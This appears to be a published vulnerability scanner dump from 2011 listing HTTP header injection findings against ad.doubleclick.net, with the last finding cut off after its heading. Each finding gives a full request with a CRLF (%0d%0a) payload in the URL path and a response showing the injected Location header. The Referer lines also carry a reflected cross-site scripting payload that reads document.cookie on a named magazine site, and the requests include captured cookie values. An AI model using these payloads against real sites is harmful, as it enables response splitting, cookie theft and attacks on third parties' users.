XSS, HTTP Header Injection Cross Site Scripting, CWE-79, CWE-113, DORK Report for March 11, 2011

The value of REST URL parameter 1 is copied into the Location response header. The payload cdb71%0d%0a199c0f4f72 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /2521745cdb71%0d%0a199c0f4f72/newspeckle2.html HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.runnersworld.com/community/persona/index.jsp?UID=8381023245&plckPersonaPage=BlogViewPost&plckUserId=8381023245&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog&plckScript=personaScript&plckElementId=personaDest\6b663%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d424413273
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/2521745cdb71
199c0f4f72/newspeckle2.html:
Date: Thu, 10 Mar 2011 22:19:54 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.2. http://ad.doubleclick.net/2521745/newspeckle2.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/2521745/newspeckle2.html

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload b5b93%0d%0aad6e02800c7 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

GET /2521745/newspeckle2.htmlb5b93%0d%0aad6e02800c7 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.runnersworld.com/community/persona/index.jsp?UID=8381023245&plckPersonaPage=BlogViewPost&plckUserId=8381023245&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog&plckScript=personaScript&plckElementId=personaDest\6b663%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d424413273
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/2521745/newspeckle2.htmlb5b93
ad6e02800c7:
Date: Thu, 10 Mar 2011 22:19:55 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.3. http://ad.doubleclick.net/2521746/bluecoverforma2.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/2521746/bluecoverforma2.html

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload ccaaa%0d%0a9a571279f20 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /2521746ccaaa%0d%0a9a571279f20/bluecoverforma2.html HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.bicycling.com/?cm_sp=Network%20Banner-_-BI-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/2521746ccaaa
9a571279f20/bluecoverforma2.html:
Date: Thu, 10 Mar 2011 16:40:59 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.4. http://ad.doubleclick.net/2521746/bluecoverforma2.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/2521746/bluecoverforma2.html

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload 61c52%0d%0aec7d1b61be3 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

GET /2521746/bluecoverforma2.html61c52%0d%0aec7d1b61be3 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.bicycling.com/?cm_sp=Network%20Banner-_-BI-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/2521746/bluecoverforma2.html61c52
ec7d1b61be3:
Date: Thu, 10 Mar 2011 16:41:06 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.5. http://ad.doubleclick.net/ad/N2434.127885.1691942218421/B5055470.38 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N2434.127885.1691942218421/B5055470.38

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 76e46%0d%0a6bf3b474ea1 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /76e46%0d%0a6bf3b474ea1/N2434.127885.1691942218421/B5055470.38;sz=1x1;pc=[TPAS_ID];ord=8325851? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/76e46
6bf3b474ea1/N2434.127885.1691942218421/B5055470.38;sz=1x1;pc=[TPAS_ID];ord=8325851:
Date: Thu, 10 Mar 2011 16:43:47 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.6. http://ad.doubleclick.net/ad/N2724.rodale.com/B4504763.19 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N2724.rodale.com/B4504763.19

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 2b2fd%0d%0ad346ead6547 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /2b2fd%0d%0ad346ead6547/N2724.rodale.com/B4504763.19;sz=1x1;pc=[TPAS_ID];ord=8296241? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.menshealth.com/?cm_mmc=MSN0Paid0Search-_-Mens0Health0Brand-_-Menshealth-_-Mens0Health%7c-%7c1026991568
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/2b2fd
d346ead6547/N2724.rodale.com/B4504763.19;sz=1x1;pc=[TPAS_ID];ord=8296241:
Date: Thu, 10 Mar 2011 16:46:03 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.7. http://ad.doubleclick.net/ad/N3340.Rodale/B4469440.10 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N3340.Rodale/B4469440.10

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 22a11%0d%0adadb4ba6c5f was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /22a11%0d%0adadb4ba6c5f/N3340.Rodale/B4469440.10;sz=1x1;ord=8297648? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.bicycling.com/?cm_sp=Network%20Banner-_-BI-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/22a11
dadb4ba6c5f/N3340.Rodale/B4469440.10;sz=1x1;ord=8297648:
Date: Thu, 10 Mar 2011 16:42:57 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.8. http://ad.doubleclick.net/ad/N3340.Rodale/B4469440.2 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N3340.Rodale/B4469440.2

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 2180f%0d%0aa85c900d6a3 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /2180f%0d%0aa85c900d6a3/N3340.Rodale/B4469440.2;sz=1x1;ord=8296241? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.menshealth.com/?cm_mmc=MSN0Paid0Search-_-Mens0Health0Brand-_-Menshealth-_-Mens0Health%7c-%7c1026991568
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/2180f
a85c900d6a3/N3340.Rodale/B4469440.2;sz=1x1;ord=8296241:
Date: Thu, 10 Mar 2011 16:42:15 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.9. http://ad.doubleclick.net/ad/N3340.Rodale/B4469440.3 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N3340.Rodale/B4469440.3

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 2a8c1%0d%0ab4ae771faf2 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /2a8c1%0d%0ab4ae771faf2/N3340.Rodale/B4469440.3;sz=1x1;ord=8310538? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/2a8c1
b4ae771faf2/N3340.Rodale/B4469440.3;sz=1x1;ord=8310538:
Date: Thu, 10 Mar 2011 16:43:13 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.10. http://ad.doubleclick.net/ad/N3340.Rodale/B4469440.4 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N3340.Rodale/B4469440.4

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 57985%0d%0aea3a8bb8e04 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /57985%0d%0aea3a8bb8e04/N3340.Rodale/B4469440.4;sz=1x1;ord=8307632? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.runnersworld.com/?cm_sp=Network%20Banner-_-RW-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/57985
ea3a8bb8e04/N3340.Rodale/B4469440.4;sz=1x1;ord=8307632:
Date: Thu, 10 Mar 2011 16:46:16 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.11. http://ad.doubleclick.net/ad/N3340.Rodale/B4469440.5 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N3340.Rodale/B4469440.5

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 13e7e%0d%0a1300da2a990 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /13e7e%0d%0a1300da2a990/N3340.Rodale/B4469440.5;sz=1x1;ord=8297648? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.bicycling.com/?cm_sp=Network%20Banner-_-BI-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/13e7e
1300da2a990/N3340.Rodale/B4469440.5;sz=1x1;ord=8297648:
Date: Thu, 10 Mar 2011 16:42:37 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.12. http://ad.doubleclick.net/ad/N3340.Rodale/B4469440.7 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N3340.Rodale/B4469440.7

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 1fcc3%0d%0a7b1aca2004 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /1fcc3%0d%0a7b1aca2004/N3340.Rodale/B4469440.7;sz=1x1;ord=8296241? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.menshealth.com/?cm_mmc=MSN0Paid0Search-_-Mens0Health0Brand-_-Menshealth-_-Mens0Health%7c-%7c1026991568
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/1fcc3
7b1aca2004/N3340.Rodale/B4469440.7;sz=1x1;ord=8296241:
Date: Thu, 10 Mar 2011 16:45:59 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.13. http://ad.doubleclick.net/ad/N3340.Rodale/B4469440.8 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N3340.Rodale/B4469440.8

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 77afd%0d%0acbd18977bd0 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /77afd%0d%0acbd18977bd0/N3340.Rodale/B4469440.8;sz=1x1;ord=8310538? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/77afd
cbd18977bd0/N3340.Rodale/B4469440.8;sz=1x1;ord=8310538:
Date: Thu, 10 Mar 2011 16:43:11 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.14. http://ad.doubleclick.net/ad/N3340.Rodale/B4469440.9 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N3340.Rodale/B4469440.9

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 9588d%0d%0a8b3a22ba789 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /9588d%0d%0a8b3a22ba789/N3340.Rodale/B4469440.9;sz=1x1;ord=8307632? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.runnersworld.com/?cm_sp=Network%20Banner-_-RW-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/9588d
8b3a22ba789/N3340.Rodale/B4469440.9;sz=1x1;ord=8307632:
Date: Thu, 10 Mar 2011 16:43:07 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.15. http://ad.doubleclick.net/ad/N5767.womenshealthmagOX4554/B4627079.35 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N5767.womenshealthmagOX4554/B4627079.35

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 61558%0d%0ac1a8d314f34 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /61558%0d%0ac1a8d314f34/N5767.womenshealthmagOX4554/B4627079.35;sz=1x1;ord=8322007? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/61558
c1a8d314f34/N5767.womenshealthmagOX4554/B4627079.35;sz=1x1;ord=8322007:
Date: Thu, 10 Mar 2011 16:43:41 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.16. http://ad.doubleclick.net/ad/N6138.127885.WOMENSHEALTH/B5295230.17 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N6138.127885.WOMENSHEALTH/B5295230.17

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 7a76d%0d%0abcbbc2dd448 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /7a76d%0d%0abcbbc2dd448/N6138.127885.WOMENSHEALTH/B5295230.17;sz=1x1;pc=[TPAS_ID];ord=6984913814812899? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/7a76d
bcbbc2dd448/N6138.127885.WOMENSHEALTH/B5295230.17;sz=1x1;pc=[TPAS_ID];ord=6984913814812899:
Date: Thu, 10 Mar 2011 16:45:22 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.17. http://ad.doubleclick.net/ad/N6138.6483.MENSHEALTH/B5295230.20 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N6138.6483.MENSHEALTH/B5295230.20

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 78aad%0d%0a049b38749bb was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /78aad%0d%0a049b38749bb/N6138.6483.MENSHEALTH/B5295230.20;sz=1x1;pc=[TPAS_ID];ord=8309460? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.menshealth.com/?cm_mmc=MSN0Paid0Search-_-Mens0Health0Brand-_-Menshealth-_-Mens0Health%7c-%7c1026991568
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/78aad
049b38749bb/N6138.6483.MENSHEALTH/B5295230.20;sz=1x1;pc=[TPAS_ID];ord=8309460:
Date: Thu, 10 Mar 2011 16:43:32 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.18. http://ad.doubleclick.net/ad/N6138.6483.MENSHEALTH/B5295230.24 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N6138.6483.MENSHEALTH/B5295230.24

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 77f38%0d%0a49cfd0de220 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /77f38%0d%0a49cfd0de220/N6138.6483.MENSHEALTH/B5295230.24;sz=1x1;pc=[TPAS_ID];ord=8309460? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.menshealth.com/?cm_mmc=MSN0Paid0Search-_-Mens0Health0Brand-_-Menshealth-_-Mens0Health%7c-%7c1026991568
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/77f38
49cfd0de220/N6138.6483.MENSHEALTH/B5295230.24;sz=1x1;pc=[TPAS_ID];ord=8309460:
Date: Thu, 10 Mar 2011 16:43:32 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.19. http://ad.doubleclick.net/ad/N6138.6483.MENSHEALTH/B5295230.25 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N6138.6483.MENSHEALTH/B5295230.25

Issue detail

